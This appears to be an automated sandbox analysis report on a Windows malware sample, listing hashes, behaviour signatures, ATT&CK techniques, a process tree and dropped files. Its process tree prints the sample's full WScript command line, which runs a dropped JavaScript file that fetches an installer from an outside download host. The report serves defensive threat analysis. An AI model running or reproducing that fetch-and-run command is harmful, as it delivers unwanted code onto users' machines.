8e9046498cbe2b8fbe9959d9a19963cff531e4e27dfd0a3e0659a306d66b99db

Analysis

max time kernel
122s
max time network
126s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
30-05-2024 07:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe
Size

184KB
MD5

836d6d4602dbdaa635593ac97ee5c597
SHA1

ce9e9d15178807eaee7ee81f002a8d7b0d76994b
SHA256

8e9046498cbe2b8fbe9959d9a19963cff531e4e27dfd0a3e0659a306d66b99db
SHA512

c79626c51b3eaf6da297100fe7c6aa04f09ba28957681c2ab2b16c670e0c02a9f315ba4ecd2124040c4b159bc1a7c200f5bf7346be6626e2e036d74575e92563
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3S:/7BSH8zUB+nGESaaRvoB7FJNndnL

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	1932	WScript.exe
8	1932	WScript.exe
10	1932	WScript.exe
12	2152	WScript.exe
13	2152	WScript.exe
15	2748	WScript.exe
16	2748	WScript.exe
18	1348	WScript.exe
19	1348	WScript.exe
22	3004	WScript.exe
23	3004	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
560	1844	WerFault.exe	27

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1844 wrote to memory of 1932	1844	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	28
PID 1844 wrote to memory of 1932	1844	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	28
PID 1844 wrote to memory of 1932	1844	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	28
PID 1844 wrote to memory of 1932	1844	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	28
PID 1844 wrote to memory of 2152	1844	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	30
PID 1844 wrote to memory of 2152	1844	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	30
PID 1844 wrote to memory of 2152	1844	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	30
PID 1844 wrote to memory of 2152	1844	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	30
PID 1844 wrote to memory of 2748	1844	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	32
PID 1844 wrote to memory of 2748	1844	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	32
PID 1844 wrote to memory of 2748	1844	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	32
PID 1844 wrote to memory of 2748	1844	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	32
PID 1844 wrote to memory of 1348	1844	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	34
PID 1844 wrote to memory of 1348	1844	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	34
PID 1844 wrote to memory of 1348	1844	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	34
PID 1844 wrote to memory of 1348	1844	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	34
PID 1844 wrote to memory of 3004	1844	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	36
PID 1844 wrote to memory of 3004	1844	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	36
PID 1844 wrote to memory of 3004	1844	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	36
PID 1844 wrote to memory of 3004	1844	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	36
PID 1844 wrote to memory of 560	1844	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	38
PID 1844 wrote to memory of 560	1844	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	38
PID 1844 wrote to memory of 560	1844	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	38
PID 1844 wrote to memory of 560	1844	836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe	38

C:\Users\Admin\AppData\Local\Temp\836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\836d6d4602dbdaa635593ac97ee5c597_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1844
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf13A0.js" http://www.djapp.info/?domain=DgPQeQahUO.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf13A0.exe
  2⤵
  - Blocklisted process makes network request
  PID:1932
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf13A0.js" http://www.djapp.info/?domain=DgPQeQahUO.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf13A0.exe
  2⤵
  - Blocklisted process makes network request
  PID:2152
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf13A0.js" http://www.djapp.info/?domain=DgPQeQahUO.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf13A0.exe
  2⤵
  - Blocklisted process makes network request
  PID:2748
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf13A0.js" http://www.djapp.info/?domain=DgPQeQahUO.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf13A0.exe
  2⤵
  - Blocklisted process makes network request
  PID:1348
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf13A0.js" http://www.djapp.info/?domain=DgPQeQahUO.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf13A0.exe
  2⤵
  - Blocklisted process makes network request
  PID:3004
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1844 -s 496
  2⤵
  - Program crash
  PID:560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
3aad0e0b63ea2e695fc7c66728e66a14

SHA1
7ef347e0f3b8142005a2b58b459aef7efe975955

SHA256
9fdfce09257f87385d6ef10feea5f0d164ecd425ddd10ad0714bf1bc6feb5ef6

SHA512
3cb287ef51c870e2847258ee983b9522aff217336b6b60096a7dd868a3a270bfe2df161e5c17df963ae9cc7c290892da373ec3904f93f8d8ee59e51ff4d16cef

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
7a8b9b2cdd5280f93c9e3c37c7179011

SHA1
2ea407bfd844d8f1d5456b375ee2cb2a026c51ec

SHA256
dd23c6b7ee2c76a6c4e6a35eaa7d78476ba2079c2b87dae8f266aa1a1086f5d2

SHA512
27c612b86007f0bf49e0c83f48c063a9c46ed781f03cb04b1f39874e32ea6a4e782101b3db8226272201dbf7b55923ab5eb838dde9da17f297640c9023bcbd26

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
541397e544e02659e86a4e5763bb0ea9

SHA1
77e24c4d4c868ea84eeea58c38331115bf3c7c2a

SHA256
4844f272261eb2a339e2d96bff3555c54d381dc2f151ea20e4078c7d59a1b41a

SHA512
a8e2a14d03e4f77c348cacf426c441062b7d542040309d7a94b460a31fe610a72a3d90b4c47b55ebb04857e37e49d92775821e6a6adf75e87264458e7e8f9268

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
392B

MD5
eaafb7afde3535d300446859ad4bd328

SHA1
3e64133e50ef5f5ba637ffc42d3eee57d0f1d78a

SHA256
7b2cddb8480a3ef4fa3265dde63afc759b39e45c980e96b5f3fc60f6d7c03d59

SHA512
a05b192e5063191599106842a898ba790f2102c6e21f1b0859d751dfbe0ed92c459bb1a21822afc64c153acec6725d1ed77e7fedd3a0e4a84fa25a6356dd173b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\902LKC6A\domain_profile[1].htm

Filesize
40KB

MD5
bf4197c1f303aef8767da2616fa4dcd9

SHA1
ca7a5d6be5bfc836a47f0cba5852df2d1cc81d3b

SHA256
5321b5865a49fef3066384ee9b3e041fc33d61fabf61129c571d5c3d104c5bb5

SHA512
4f17850b2f8f0f6bfcc6ba5255b5bdd68b7132c496188f2590c997ac5a06929de0de6f600f5dd385d9d0b1cc6007a8d274bcad84913d4b6e88f2145e3f21f182

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\902LKC6A\domain_profile[1].htm

Filesize
40KB

MD5
d56a5e54c7ecdd22421da6c38127804d

SHA1
9e761472f427cf980afe08928c4bcf32b1ca1410

SHA256
2c2d6fa9a8ea9c8627df417976be3aa454d497b1fbf78ee5c22f96cd60bf06b2

SHA512
a6f9628446a41136025ab6c527c4142afddc509357a03fc201ee71e49ec1bfa400877372777272368ca50dc026b4f27d7c98eabe4551eafb5c91695510745a41

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OOWQLMJV\domain_profile[1].htm

Filesize
40KB

MD5
cc61bd6745bf13cecb8671b1ab1a50a5

SHA1
fb16956721ec1f3e91f02f960628b2e8c2bb1bf1

SHA256
c4ad908bacd7a514ca0e2896b8ee7473cb977df09411bae1b102cf7a290ad265

SHA512
a4d34ed1e223d97eeebd5b40a85e8b15ab0cbafb0ca5f5d7436d9894df04d9d599a80be9095b33f7ffc344d904f6954f1b809c22060bdab756fcf1bfb450db08

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OOWQLMJV\domain_profile[1].htm

Filesize
40KB

MD5
efe6b4dd181ac2d5033ad106cd2aa1bb

SHA1
0fe55fafabef25d8f1766ffac6be3bd0f97a7a01

SHA256
1c1830353b3a6a06fa897c91ec1427a8b6813965c99e1ac873d4dad484c7146a

SHA512
acfb43ce0235130e2e32d203baf46b316a6d58172d1bbc9b7012369611e806a55a948f6f5a725ef186c47cabedb66df9977bab6a721ad330fe71cc178c989f5e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OOWQLMJV\domain_profile[1].htm

Filesize
40KB

MD5
1b2bd2c9602d5cdbd806354398faaa26

SHA1
0efff69850ef1f48c049015c929fd78fb87ae14f

SHA256
93b36988a5641a640b52d81dc92e38be13eca7c2c2303f4d6471b44e20a8418a

SHA512
59e0b03e7fe5a55af0f9c6a1c19199c9ea813c367b4ccbed234d2cdcb8c18507a9dd4f508a2540979b58b9f470fab3be6de605b30370c5c8388e15d1b0dde14f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab4338.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar5B99.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf13A0.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\GSS0VYMP.txt

Filesize
177B

MD5
27ae536696db55e64887d31c4093ce3c

SHA1
6fb0c75117fbca5f378fcaceaf70b7ac366452fa

SHA256
743da8aed8fe12ac25053fabfc8d0fc6df41dffa3ab1275a86dadc8a10a0294a

SHA512
e394e206bad6efcd3f8ec195710ddf5b23d5f195bfdee6a164666165021263d41dbe3493bf709dc88a38abaa5e739934a0b8459e00a350ec16de7547b695fcff

Download Submit